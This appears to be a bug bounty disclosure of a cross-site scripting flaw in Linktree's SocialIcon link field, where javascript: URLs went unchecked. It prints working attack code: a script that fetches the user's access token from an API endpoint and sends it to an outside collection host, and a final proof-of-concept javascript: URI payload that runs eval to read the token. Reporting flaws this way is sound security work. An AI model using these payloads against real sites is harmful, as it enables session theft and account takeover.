XSS in SocialIcon Link

Summary

XSS in SocialIcon Link

There was no validation of the url provided for the SocialIcon Link , which allowed to include javascript uri . As the cookies were marked as httponly , I couldn't steal them directly via the xss so instead I found an endpoint which was leaking the accessToken used for authentication.

await fetch("https://linktr.ee/api/token", {
    "credentials": "include",
    "method": "GET"
})
.then((response) => response.json())
.then((responseJson) => {
    fetch("https://en2celr7rewbul.m.pipedream.net/?token="+responseJson["accessToken"]);
})

Final POC:

javascript://https://amazon.com/shop/x%0Aeval(\"(async()=>{await+fetch('https://linktr.ee/api/token').then((response)=>response.json()).then((responseJson)=>{alert(responseJson['accessToken']);})})()\")

POC in action: https://youtu.be/598GUqKrNvw